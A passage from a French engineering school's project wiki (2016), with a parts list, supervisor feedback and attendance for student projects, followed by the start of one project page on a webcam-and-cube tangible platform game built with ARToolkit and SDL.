Résistance de shunt: 0.004 Ohm [http://fr.rs-online.com/web/p/resistances-cms/8665374/], 
Leds rouge CMS x12, [http://fr.farnell.com/rohm/sml-310vtt86l/led-0603-rouge/dp/1685064] , 
Bornier [http://fr.farnell.com/camdenboss/ctb0308-2/bornier-2-voies/dp/3882652], 
Transformateur VTX-214 001 103 [http://fr.farnell.com/vigortronix/vtx-214-001-103/conv-ac-dc-fixe-1-o-p-1w-3-3v/dp/2401019], 
Adaptateur USB [02/02/2016], 
Fusible 250V/125mA [02/02/2016]. 
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P43.ods]].
|-
| P44 [[Le marteau de Thor]]
|
Un arduino UNO [27/01/2016], 
un lecteur d'empreintes digitales : Mouser [http://www.mouser.fr/ProductDetail/MikroElektronika/MIKROE-1722/?qs=GJ%2F2ZGcr5uOW3uiL4M9shA%3D%3D] [09/03/2016] , 
Un shield NFC [27/01/2016] , 
Un téléphone sous Androïd [27/01/2016], 
Un capteur de pression [03/02/2016], 
Un électro aimant [25/01/2016], 
Une alimentation électroaimant (labo 24V), 
Une alimentation arduino [27/01/2016]. 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P44.ods]].
|-
| P45 [[Orchestre électronique]]
|
Alimentation PC [27/01/2016], 
Lecteurs de disquette (x2) [27/01/2016], 
Lecteur CD (x1) [27/01/2016], 
Disques durs (x3) [27/01/2016], 
Scanner [27/01/2016], 
Raspberry Pi 2 + alimentation + FTDI [27/01/2016], 
Cables GPIO femelle [27/01/2016], 
Cable Alimentation PC [27/01/2016], 
Buffers 3 états (Farnell) [http://fr.farnell.com/fairchild-semiconductor/nc7sp126p5x/buffer-single-tri-state-sc-70/dp/2453002] [Commandé - Recu - En attente de confirmation des librairies Altium], 
Imprimantes [01/02/2016], 
Clavier MIDI [http://www.thomann.de/fr/m_audio_keystation_mini_32_mk2.htm?gclid=Cj0KEQiAoby1BRDA-fPXtITt3f0BEiQAPCkqQQKdntNWLwKu92GOUp2gHXfTCj5t0WB9LWyZjAaAZUkaAmDV8P8HAQ][Prêté par Hidéo VINOT - 10/03/16] . 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P45.ods]]. 
Supra FAX Modem [18/04/2016], 
Modem Message 56k [18/04/2016], 
|-
| P47 [[Commande d'une suspension magnétique]]
|
 Logiciel Matlab simulink et la suspension magnétique Didastel. .
|-
|}

== Notes sur les projets ==

{| class="wikitable"
| Projet || Mini-cahier des charges || Mi-parcours || Fin de parcours || Wiki terminé || Rapport || Vidéo
|-
| P0 [[Commande USB par micro-contrôleur]]
| Vide.
|
|
|
|
|
|-
| P4 [[Train de véhicules]]
| Cahier des charges très correct, bien rédigé, illustré, un schéma intéressant, le sujet est compris. Une liste du matériel nécessaire, précise et raisonnable.
| Excellent Wiki, travail effectué et restant à réaliser clairement décrits, Wiki bien rédigé et illustré.La progression est très satisfaisante.
| Toujours très satisfaisant.
|
|
|
|-
| P5 [[Imprimante 3D à chocolat]]
| Très bon cahier des charges, bien rédigé, illustré, bonne synthèse du travail à effectuer. Le matériel nécessaire est listé mais sans référence précise.Il n'est pas évident que ce matériel soit d'un coût raisonnable.
| Wiki non alimenté depuis le mois de janvier. Il est impossible de juger de l'avancement du projet.
| Le Wiki a été un peu enrichi : un chapitre sur de la programmation arduino par LabView, quelques mots sur l'imprimante 3D. Pas de documentation sur les 3 dernières semaines du projet. On peut craindre un échec du projet.
|
|
|
|-
| P6 [[Zone de sécurité pour vélo]]
| Cahier des charges correct. Synthèse d'une réunion interne. Liste précise du matériel.
| Wiki non alimenté depuis plus d'un mois. Il est impossible de juger de l'avancement du projet.
| Le compte-rendu de la première réunion évoque un cahier des charges et un planning. Aucun planning dans le Wiki. Sur la dizaine de points évoqués lors de la réunion, un seul est décrit : la création d'une application pour smartphone permettant la communication avec une raspberry pi.
|
|
|
|-
| P7 [[Journée IMA]]
| Un cahier des charges finalement correct fin décembre.
| Wiki avec des coquilles et à la rédaction approximative. Deux photos trop grandes dont une floues. Le Wiki présente bien l'état d'avancement du projet. Des inquiétudes quand à la concrétisation du projet voire même d'un seul des 5 sous-projets menés de front.
| Un Wiki toujours faible sur la forme. Le Wiki de type chronologique, un minimum de synthèse serait la bienvenue. Toujours pas d'avancée significative concernant la finalisation des 3 projets de démonstration.
|
|
|
|-
| P9 [[Tableau blanc interactif]]
| Cahier des charges correct, le projet semble être spécifié. Une rencontre avec l'encadrant. Attention tout de même au coté très ouvert du sujet. Un embryon de liste de matériel. Il faut donner des références pour la caméra par exemple.
| Un Wiki avec quelques coquilles. Bien illustré sur les deux premières semaines, un peu en chantier sur les 3 dernières. Aucun résultat pour l'instant. Vous semblez perdus dans votre programmation. Produisez un code fonctionnel même incomplet pour une démonstration intermédiaire pour la semaine 6. Vous parlez de "complexité" de développement sans aucune explication concrète.
| Le résultat décrit est apprécié, avez-vous pu faire une démonstration à un encadrant ? La construction du pointeur est peut être un peu trop détaillée. Essayez de donner un algorithme pour votre application. Le projet semble pouvoir aboutir.
|
|
|
|-
| P10 [[Réseau de capteurs longue distance]]
| Quelques coquilles de rédaction. Le sujet est décrit mais on pourrait souhaiter plus de détail. Une illustration.
| Un Wiki très dépouillé. Il manque les reproduction des pièces de puzzle réalisés sur carton, des images empreintes des composants réalisés sous Altium. Il manque aussi une semaine sur les 5 ... A ce moment du projet nous devrions avoir une proposition de PCB pour les 3 pièces principales : alimentation, micro-contrôleur, radio LORA
| Wiki toujours trop léger. Le travail des deux dernières semaines sur le routage n'est pas décrit. Le travail sur les tests de communication via les modules LORA est totalement passé sous silence. La modélisation des pièces de puzzle n'est pas aboutie : il manque la pièce d'alimentation et toutes les lignes entre les pièces ne sont pas présentes.
|
|
|
|-
| P12 [[Robots mobiles pour Arduino]]
| Un cahier des charges finalement très correct.
| Un Wiki très correctement tenu, bien rédigé, bien illustré. La progression du travail est clairement exposée. Un bémol cependant, le travail de la semaine 5 est minimal ou trop rapidement décrit. A ce niveau du projet vous devriez avoir un prototype du réducteur et des roues à présenter.
| Wiki très correct. Par contre la réalisation semble avoir pris un retard important.
|
|
|
|-
| P16 [[Miroir intelligent]]
| Cahier des charges très correct même si on pourrait demander des précisions sur les retouches à apporter à l'image. Correctement rédigé, un effort de mise en forme. Une liste de matériel.
| Wiki non alimenté depuis le mois de décembre. Corrigez immédiatement le tir. Ce manque de sérieux au niveau de la documentation sera pris en compte dans la notation.
| Le Wiki a été un peu utilisé suite à la précédente remarque. L'orthographe est déplorable (e.g. "néant" pour "n'ayant"). Wiki a nouveau abandonné pour les 3 dernières semaines. Le travail effectué est soit très léger soit mal présenté.
|
|
|
|-
| P21 [[Robot autonome pour cartographie]]
| Cahier des charges correct. Attention à bien identifier des tâches à réaliser ne dépendant pas du projet des CM5. Préciser ce système de tags pour calibrer la position du robot. Une liste de matériel.
| Wiki clair, bien rédigé et illustré. La progression du travail est facile à suivre.
On aimerait un mot sur l'état du robot des CM5 et voir le PCB de la carte correspondant à la vue plaque d'essais.
| Comme je le craignais le robot des CM5 n'est pas opérationnel. Vous n'en êtes pas responsables, par contre un plan B aurait du être prévu. Les PCB ne sont pas disponibles dans le Wiki 3 semaines après le commentaire précédent. La mesure du signal n'est envisagée qu'en semaine 8 et avec une méthode décevante basée sur un script et non sur un programme C. Un gros doute sur la possibilité d'avoir une réalisation concrète.
|
|
|
|-
| P23 [[Matelas connecté]]
| Bel effort de présentation d'un cahier des charges pour un sujet très "ouvert". Rédaction très correcte. Une inquiétude sur la possibilité d'obtenir le matériel. Merci de mettre à jour le cahier des charges après la rencontre avec l'industriel.
| Wiki clair, bien rédigé et illustré. Le travail effectué est bien présenté.
Rien sur la semaine 5.
| Dernières entrées moins illustrées mais une vidéo montrant l'avancement. Le projet initial tombe à l'eau mais vous n'en êtes pas responsables.
|
|
|
|-
| P27 [[BIOLOID commandé par Arduino]]
| Les grandes lignes sont définies. Quand vous parlez de commander le robot sans logiciel vous voulez dire commander le robot sans logiciel propriétaire ? Le cahier des charges est un peu court. Préciser l'environnement de développement C des Bioloid et l'interface entre l'Arduino et les servos-moteurs.
| Wiki clair et détaillé. Le travail effectué est présenté précisement.
Il faudrait peut-être dire un mot sur la conception du robot lui même ? Dites ce qu'est un CM5.
| Wiki toujours très correct. L'avancemement du projet semble maîtrisé.
Vous allez dire ce qu'est un CM5 ?
|
|
|
|-
| P28 [[Imprimante 3D multi-fils]]
| Le cahier des charges est correct, vous avez contacté votre encadrant. Précisez que la solution de soudure de segments de filaments vient de vos encadrants ? Etablissez une liste du matériel nécessaire.
| Wiki non alimenté depuis le mois de décembre. Corrigez immédiatement le tir. Ce manque de sérieux au niveau de la documentation sera pris en compte dans la notation.
| Wiki très léger. Aucune rédaction, deux photos et deux vidéos. Le projet semble en être dans une phase préliminaire. La seule réalisation proposée est un outil de découpe et d'assemblage *manuel* de fil.
|
|
|
|-
| P29 [[Aide anti-gaspillage alimentaire]]
| Pas de différence notable avec le sujet initial. Un doute sur l'intérêt d'un portable pour la lecture des étiquettes. Un autre doute sur la possibilité de cette lecture. La date d'expiration est généralement difficile à trouver et mal imprimée, quelles solutions envisagez-vous ? Aucune modication entre le 3 décembre et fin janvier.
| Wiki non alimenté depuis le mois de décembre. Ce manque de sérieux au niveau de la documentation sera pris en compte dans la notation. Vu votre absentéisme en projet une note catastrophique pour ce module est fortement probable.
| Wiki trop léger et non à jour. Le projet semble à peine débuté.
|
|
|
|-
| P30 [[Micro-robots auto-organisés]]
| Une bonne description du projet et du but à atteindre. Un doute sur les moteurs choisis (non commandable par l'université d'ailleurs) : ce sont des moteurs très rapides. Des réflexions avancées sur le matériel. Il reste à trouver des références exploitables.
| Un Wiki correctement rédigé mais plutôt dépouillé, sans illustration. Le Wiki est abandonné depuis la semaine 3 incluse. Mettez le à jour ! Il est difficile de savoir où vous en êtes ...
| Wiki avec de nombreuses coquilles et assez mal formaté (voir la correction). Le Wiki permet de connaître l'état d'avancement mais il manque le schéma de la pièce 3D et le test de la carte. Sous réserve que la carte fonctionne, il semble possible d'avoir une réalisation concrète en fin de projet.
|
|
|
|-
| P32 [[Veilleuse enfant connecté]]
| Cahier des charges très correct. Bien rédigé. Clairement le projet a été bien appréhendé. Une liste du matériel avec des références.
| Juste quelques mots sur la première séance et encore il s'agit d'intentions et pas de résultats. Ce manque de sérieux au niveau de la documentation sera pris en compte dans la notation. Corrigez le tir immédiatement.
| Wiki avec une orthographe non tolérable à ce niveau d'études, merci de corriger. Les deux dernières semaines ne sont pas documentées.Le Wiki présente bien l'avancé du travail. Des résultats concrets sont présentés. Vous devez faire un effort sur l'automatisation de votre système (scripts systèmes) mais il semble que le projet puisse aboutir.
|
|
|
|-
| P34 [[Jeu de plateforme tangible]]
| Enfin un cahier des charges à peu près correct fin janvier.
| Wiki clair et bien rédigé. Illustré. La progression du travail est clairement exposée.
| Wiki toujours bien rédigé (quelques coquilles voir correction). Des résultats. Peu de doutes sur le fait que le projet puisse aboutir.
Une question : la longueur de la scène est-elle liée au nombre de colonnes de cubes devant la caméra ou est-il possible de construire la scène au fur et à mesure du déplacement du personnage ?
|
|
|
|-
| P37 [[Interface de communication entre robots]]
| Cahier des charges correct. Quelques coquilles manque de formatage.
| Un Wiki quasiment vide concernant l'avancement du projet. Impossible de se faire une idée du travail réalisé. Ce manque de sérieux dans la documentation aura un impact sur la note finale. Corrigez le tir au plus tôt.
| Il est dommage que le Wiki ne soit pas assez étoffé pour faire justice au travail réalisé. Les illustrations et la structure sont correctes, il manque simplement une description plus détaillée des réalisations.Le travail est bien avancé, les réalisations sont de qualité, le projet devrait aboutir.
|
|
|
|-
| P38 [[Hydroponie]]
| Un cahier des charges finalisé très tardivement fin janvier.
| Un Wiki à peu près vide hors cahier des charge. Des semaines sans travail effectué. Des semaines avec un descriptif laissant deviner l'ampleur du travail effectué. Vu votre manque de sérieux en projet une note catastrophique pour ce module est fortement probable. Réagissez pour prouver le contraire.
| Le Wiki est toujours assez pauvre en informations, par exemple précisez quel environnement de programmation vous utilisez pour programmer l'Arduino. Il manque des informations sur le travail de la dernière semaine. Les réalisations présentées semblent bien pauvres ou sont mal décrites. Arriver en fin de projet avec simplement l'acquisition d'informations d'un DTH11 et la commande de deux ventilateurs n'est pas à la hauteur de ce qui est demandé pour un projet IMA4.
|
|
|
|-
| P39 [[Dirigeable publicitaire]]
| Cahier des charges très correct. Pour l'hélium il faudrait contacter le fournisseur de l'université pour un devis. Vous pouvez commencer à concevoir la nacelle avec les hélices. Il faut aussi trouver des références pour la liste du matériel.
| Wiki donnant en détail le travail effectué. Largement illustré par photos et vidéo.
Ajoutez des images des composants réalisés sous Altium.
Peu de résultats pour l'instant. Il devient urgent de savoir commander les moteurs.
| Un Wiki toujours aussi clair mais ne donnant aucune raison concernant l'échec de commande des moteurs de l'ARDrone, ni même la liste des tentatives. Les réalisations concrètes sont assez basiques. Il est à craindre que le résultat final du projet ne soit pas à la hauteur de ce qui est demandé pour un projet IMA4.
|
|
|
|-
| P41 [[Drone et occulus rift]]
| Un Wiki illustré et formaté correctement. Toujours aucune précision sur la connexion entre l'occulus rift et le drone.
| Wiki minimal, pas d'illustration, rédaction rapide. Rien sur la semaine 5. Une démonstration sur la récupération du flux vidéo et le contrôle de webcam serait la bienvenue.
| Le Wiki est maintenant plus riche mais des ajouts ont été portés en catastrophe le 14 avril et il n'y a rien sur les tâches effectuées les deux dernières semaines. Le plus inquiétant est l'état d'avancement du projet : le contrôle des servos par la raspberry n'est pas finalisé, la capture vidéo se limite à l'utilisation de l'utilitaire "motion", l'acquisition en provenance de l'occulus rift ne va pas au delà du test d'un programme d'exemple et il n'y a rien concernant la structure 3D à fixer sous le drône.
|
|
|
|-
| P42 [[Mini-drones]]
| Cahier des charges correct. Un effort d'illustration avec un schéma. Vous pouvez commencer à manipuler le SDK des mini-drônes, ces derniers sont disponibles en E306.
| Wiki non alimenté depuis début décembre. Ce manque de sérieux au niveau de la documentation sera pris en compte dans la notation. Vu votre absentéisme en projet une note catastrophique pour ce module est fortement probable. Venez rendre compte à votre encadrant le plus vite possible.
| Wiki avec une grammaire et une orthographe déplorables, voir la correction effectuée sur la partie SDK, corrigez le reste du texte. Problèmes de mise en page du Wiki. Le Wiki est loin d'être mis à jour.D'après le Wiki, les deux drônes sont pilotables par une interface Web, faites une démonstration le plus tôt possible. Il vous reste à réaliser le suivi automatique qui est le coeur du projet. Arriverez-vous à terminer le projet ? Vous ne pouvez pas argumenter sur un manque de temps vu que vous n'utilisez pas tous les créneaux du mercredi.
|
|
|
|-
| P43 [[SmartMeter, gestion de consommation électrique]]
| Bel effort de Wiki vu le retard pris pour la rédaction du cahier des charges. Je pense qu'il y a une confusion sur la signification de "puissance effective". Mettre à jour le Wiki après entretien avec Guillaume Renault. Au 27 janvier toujours en attente d'une réelle étude du sujet.
| Le Wiki ne comporte que le compte-rendu des réunions avec les encadrants. La dernière réunion date d'il y a plus d'un mois. Aucune description du travail accompli. Votre manque de sérieux au niveau de la documentation et du travail laisse présager une note catastrophique dans le module.
| Toujours uniquement des comptes-rendus de réunions sur le Wiki. De nombreuses coquilles. Vous ne sauverez votre projet qu'en montrant une carte fonctionnelle à la soutenance. Cela nécessite que le PCB soit prêt à la rentrée comme annoncé.
|
|
|
|-
| P44 [[Le marteau de Thor]]
| Projet enfin attaqué fin décembre. Un vrai cahier des charges, très correct.
| Wiki minimal sans illustration. Rien après la semaine 3. Le travail effectué dans les trois premières semaines est soit mal décrit soit très léger. Des photos des circuits de test pourraient mieux donner idée du travail réalisé.
| Wiki toujours minimal, pas de schéma du dispositif sauf un scan d'un brouillon. La construction du marteau n'est toujours pas terminée, rien sur la fixation du manche. Aucune démonstration possible en l'état. Un fort doute plane sur l'aboutissement du projet.
|
|
|
|-
| P45 [[Orchestre électronique]]
| Projet correctement appréhendé. Le cahier des charges est précisé dans ses grandes lignes. Une partie sur les instruments reste à affiner mais c'est normal. Essayez de trouver une référence pour les dispositifs MIDI à connecter à la RaspBerry Pi. Ces dispositifs sont fondamentaux pour lancer le projet.
| Wiki très détaillé, un peu illustré mais la rédaction pourrait être améliorée (style télégraphique). Le travail réalisé est parfaitement décrit, projet bien avancé.
| Wiki très à jour. Pensez à rajouter quelques photos. Pas de doute sur l'aboutissement du projet..
Je vous ramène un câble DB25/Centronics pour les imprimantes matricielles. Pensez à demander un modem pour enrichir l'orchestre.
|
|
|
|-
| P47 [[Commande d'une suspension magnétique]]
| Un cahier des charges enfin correct le 4 janvier 2016.Pourriez-vous mettre en perspective votre projet par rapport à celui de 2012/2013 [[Suspension_magnétique_2013]] ?
| Wiki très détaillé, très bien illustré, très correctement rédigé. Le Wiki est mieux présenté que celui de 2013. C'est bien.
| Wiki presque à jour. Ajoutez les informations concernant le banc d'essai : est-il réparé ?
|
|
|
|}

== Fiche de présence ==

{| class="wikitable"
! Projet !! Elèves !! 9 mars !! 16 mars !! 23 mars !! 30 mars !! 20 avril !! 27 avril
|-
| P4 [[Train de véhicules]]
| Manuel BUENO / Maureen GILLET
| présent et excusée
| E304 / présents
| E304
| E304 / présents
| E304
|
|-
| P5 [[Imprimante 3D à chocolat]]
| Hugo VANDENBUNDER / Sylvain VERDONCK
| Hugo VANDENBUNDER excusé, Sylvain VERDONCK présent (sous-sol ?)
| E304 / présents
| E304 - C201
| Fabricarium / présents
|
|-
| P6 [[Zone de sécurité pour vélo]]
| Martin CLAVERIE / Victor CHARNET
| Victor CHARNET aurait travaillé le matin
| E304 / présents
| E304
| E304 / présents
| E304
|
|-
| P7 [[Journée IMA]]
| Michel MIKHAEL
| présent
| C201 / présent
| C201-5
| C201 / présent
|
|-
| P9 [[Tableau blanc interactif]]
| Romuald LENTIEUL / Léo MAZIER
| Romuald LENTIEUL présent, Léo MAZIER absent
| E304 - C201 / présents
| E305
| E305 - E306 / présents
| E306
|
|-
| P10 [[Réseau de capteurs longue distance]]
| Sonia NDUWAYO / Cong CHEN
| présentes
| C201 - E306 / présentes
| C201 - E306
| C201 - E306 / CHEN présente de 14 à 16h, excusée ensuite, NDUWAYO présente
|
|-
| P12 [[Robots mobiles pour Arduino]]
| Audrey AFFOYON / Leticia STEPHANES LIMA
| présentes
| C201/FabLab / présentes
| C201/FabLab
| C201/FabLab / présentes
|
|-
| P16 [[Miroir intelligent]]
| Valentin BEAUCHAMP / Guillaume VILLEMONT
| absents
| E304 / présents
| E305
| E305 / FabLab / présents
| FabLab
|
|-
| P21 [[Robot autonome pour cartographie]]
| Pierre MICHEL / Alexandre DESCAMD
| présents tout le mardi précédent
| E306 / présents
| E304
| absents, justification a posteriori de Pierre MICHEL pour un entretien de stage.
|E306
|
|-
| P23 [[Matelas connecté]]
| Vincent ROBIC / Morgan OBEISSART
| présents
| E306 / présents
| E306
| C201 / présents
| C201
|
|-
| P27 [[BIOLOID commandé par Arduino]]
| Quentin GRUSON / Jordan RAZAFINDRAIBE
| présents
| C201 / présents
| C201
| C201 / présents
|
|-
| P28 [[Imprimante 3D multi-fils]]
| Antonin CLAUS / Cédric DUVAL
| Antonin CLAUS présent, Cédric DUVAL absent
| Fabricarium
| Fabricarium
| Fabricarium / Antonin CLAUS présent, Cédric DUVAL absent (aurait commencé à 13h, non recevable a posteriori)
| Fabricarium
|
|-
| P29 [[Aide anti-gaspillage alimentaire]]
| Florian GIOVANNANGELI / Pierre FITOUSSI
| Présents
| FabLab
| Fabricarium
| FabLab et B109 / présents
| E301
| Fabricarium
|-
| P30 [[Micro-robots auto-organisés]]
| Corentin CASIER / Julie DEBOCK
| Julie DEBOCK absente, Corentin CASIER en D209
| D209 / présents
| D209
| D209 / présents
| D209
| D209
|-
| P32 [[Veilleuse enfant connecté]]
| Romain RUET / Julien BIELLE
| présents
| E306 / présents
| Ruet E306 / Bielle C203-5
| E305 / présents
| E306
|
|-
| P34 [[Jeu de plateforme tangible]]
| Stéphane MAIA / Maxime SZWECHOWIEZ
| présents A3xx
| A313 / présents
| B304
| E306 / présents
| B304
| E303
|-
| P37 [[Interface de communication entre robots]]
| Vianney PAYELLE
| présent en D336
| D336
| C002
| C002 / présent
| D336
|
|-
| P38 [[Hydroponie]]
| Nicolas WEGRZYN
| présent
| C205 / présent
| C205
| C205 / présent
| C205
|
|-
| P39 [[Dirigeable publicitaire]]
| Julien JOIGNAUX / Loïc DELECROIX
| présents
| E306 / présents
| E306
| E306 / présents
| E306/FabLab
|
|-
| P41 [[Drone et occulus rift]]
| Geoffrey PIEKACZ / Nathan RICHEZ
| présents
| E304 / présents
| E304
| Fabricarium ou E304 / présents
| Geoffrey : Fab - Nathan : Fab et/ou D209
|
|-
| P42 [[Mini-drones]]
| Valentin TAFFIN / Alexandre CUADROS
| absents
| E303 / B200 / présents
| E303
| E303 / absents
| E301
|
|-
| P43 [[SmartMeter, gestion de consommation électrique]]
| Haroun ABDELALI / Charlène DA COSTA NETO
| absents
| E306 / présents
| C201 / D309
| C201 / Haroun ABDELALI présent
|
|-
| P44 [[Le marteau de Thor]]
| Matthieu HERWEGH / Kevin LE VAN PHUNG
| Kevin LE VAN PHUNG absent, Matthieu HERWEGH présent (sous-sol ?)
| E303 / C205 / Kevin LE VAN PHUNG présent
| E301 / C205 / Fab
| E303 / C205 / Fab / absents
| E301
|
|-
| P45 [[Orchestre électronique]]
| Thomas ROJ / Joshua LETELLIER
| présents
| E306 / présents
| E306
| E306 / présents
| E306
| E306
|-
| P47 [[Commande d'une suspension magnétique]]
| Hongyu ZHANG / Weixing JIN
| présents C002
| C002 / présents
| C002
| C002 / présents (Hongyu ZHANG partie à 17h30)
|
|}

Jeu de plateforme tangible

2016-04-24T11:16:27Z

Smaia : /* Semaine 8 */

__TOC__
 
==Cahier des charges==

===Présentation générale du projet===

Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface,
 ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.

===Cahier des charges===

Le dispositif devra être capable :
 - De détecter des cubes matériels formant un "niveau".
 - D'analyser ces cubes et de les convertir en numérique.
 - De les intégrer à un jeu fonctionnant sur PC
 - D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.

===Choix techniques : matériel et logiciel===

Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam
 pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes
 ( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme.
       [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]

===Établissement d'une liste de matériel===

En ce qui concerne le matériel nous aurons besoin :
 - D'une webcam pour faire les acquisitions vidéos.[Fournie 27/01/2015]
 - D'une raspberry Pi pour les traiter.[Fournie 27/01/2015]
 - D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.

===Contraintes attendues===

- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention
 à la résolution de la caméra.
 - Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.
 - La détection de la position des cubes les uns par rapport aux autres.

==Déroulement des séances==
===Semaine 1 et 2===
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez puissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.

===Semaine 3===
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.
====Partie Artoolkit====
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable fournie dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de "départ" imposé.
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.

====Partie Jeu====

Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte.
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.

===Semaine 4===
====Partie Conception====
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.
                                         [[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]

====Partie Artoolkit====

Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté :
                                         [[Fichier:montage.png |Exemple de disposition des cubes]]     
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]
 Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :
 1 pour le cube principal A
 2 pour le cube B
 3 pour le cube C etc..
 Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..
 [[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]

====Partie Jeu====

Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement.
 Création du niveau à partir d'une matrice comprise dans un fichier texte :
                                             
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]

Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une " gravité" , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.

===Semaine 5===
====Partie Artoolkit====
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.

                                             
[[Fichier:Resultat dans fichier.png |Résultat obtenu dans la console]]

====Partie Jeu====

L'installation de la gravité dans le jeu pour le personnage est finie avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeu détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.

===Semaine 6===
====Partie Artoolkit====
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes.
 Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.
 Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes.
 [[Fichier:Codecube2.png |Fonction pour ]]
 Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.

====Partie Jeu====

